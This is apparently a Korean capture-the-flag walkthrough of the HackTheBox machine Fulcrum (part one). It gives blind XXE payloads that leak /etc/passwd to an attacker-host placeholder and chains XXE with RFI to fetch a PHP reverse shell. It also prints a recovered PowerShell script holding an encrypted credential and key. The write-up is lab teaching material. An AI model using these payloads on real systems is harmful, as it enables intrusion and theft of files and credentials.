[Walk Through] HackTheBox’ Fulcrum Part One
XXE 와 관련한 이슈가 있어 어제(2018년 6월 9일) 새벽까지 테스트를 진행했었다.
그런데, 곧 Retired 로 전환된다고 해서 풀어본 Fulcrum 또한 쉘을 획득하기 위해 XXE 를 이용해야 했다.
참고로 libxml2.9.0 부터 기본적으로 외부 ENTITY 가 해석되지 않기 때문에 XXE 는 유효하지 않다.
Fulcrum 은 XXE 공격에 대한 결과로 데이터가 직접 노출되지 않는다. 따라서, 블라인드 XXE 공격을 시도한다.
1 2 3 4 5 6 7 8 9 10 11 |
// Target : 10.10.10.62:56324 <?xml version="1.0" ?> <!DOCTYPE foo [<!ELEMENT foo ANY > <!ENTITY % xxe SYSTEM "http://[Attacker' IP : Port]/dtd.xml"> %xxe; %param; ]> <xiphias>&data_leak;</xiphias> // File stored on http://[Attacker' IP : Port ]/dtd.xml <!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> <!ENTITY % param "<!ENTITY data_leak SYSTEM 'http://[Attacker' IP : Port]/%data;'>"> // Reference : https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injections |
리버스 쉘(reverse shell)을 획득하기 위해서는 XXE 와 RFI 취약점을 같이 사용해야 한다. 4번 포트에 RFI 가 존재한다.
1 2 3 4 5 6 |
// Target : 10.10.10.62:56324 <?xml version="1.0" ?> <!DOCTYPE foo [<!ELEMENT foo ANY > <!ENTITY % xxe SYSTEM "http://127.0.0.1:4/index.php?page=http://[Attacker' IP : Port]/php-reverse-shell"> %xxe; ]> // php-reverse-shell.php should store on http://[Attacker' IP : Port ]/php-reverse-shell.php |
쉘을 획득하더라도 user.txt 등 문제 인증에 필요한 인증키를 제공하는 파일을 확인할 수 없다.
대신 아래와 같은 파워쉘(powershell) 스크립트를 확인할 수 있다.
이 파워쉘 스크립트에서 upload.fulcrum.local 이라는 도메인을 갖는 호스트가 존재하는 것을 확인할 수 있다.
1 2 3 4 5 6 7 8 9 10 11 12 |
www-data@Fulcrum:~/uploads$ cat Fulcrum_Upload_to_Corp.ps1 cat Fulcrum_Upload_to_Corp.ps1 # TODO: Forward the PowerShell remoting port to the external interface # Password is now encrypted \o/ $1 = 'WebUser' $2 = '77,52,110,103,63,109,63,110,116,80,97,53,53,77,52,110,103,63,109,63,110,116,80,97,53,53,48,48,48,48,48,48' -split ',' $3 = '76492d1116743f0423413b16050a5345MgB8AEQAVABpAHoAWgBvAFUALwBXAHEAcABKAFoAQQBNAGEARgArAGYAVgBGAGcAPQA9AHwAOQAwADgANwAxADIAZgA1ADgANwBiADIAYQBjADgAZQAzAGYAOQBkADgANQAzADcAMQA3AGYAOQBhADMAZQAxAGQAYwA2AGIANQA3ADUAYQA1ADUAMwA2ADgAMgBmADUAZgA3AGQAMwA4AGQAOAA2ADIAMgAzAGIAYgAxADMANAA=' $4 = $3 | ConvertTo-SecureString -key $2 $5 = New-Object System.Management.Automation.PSCredential ($1, $4) Invoke-Command -Computer upload.fulcrum.local -Credential $5 -File Data.ps1 |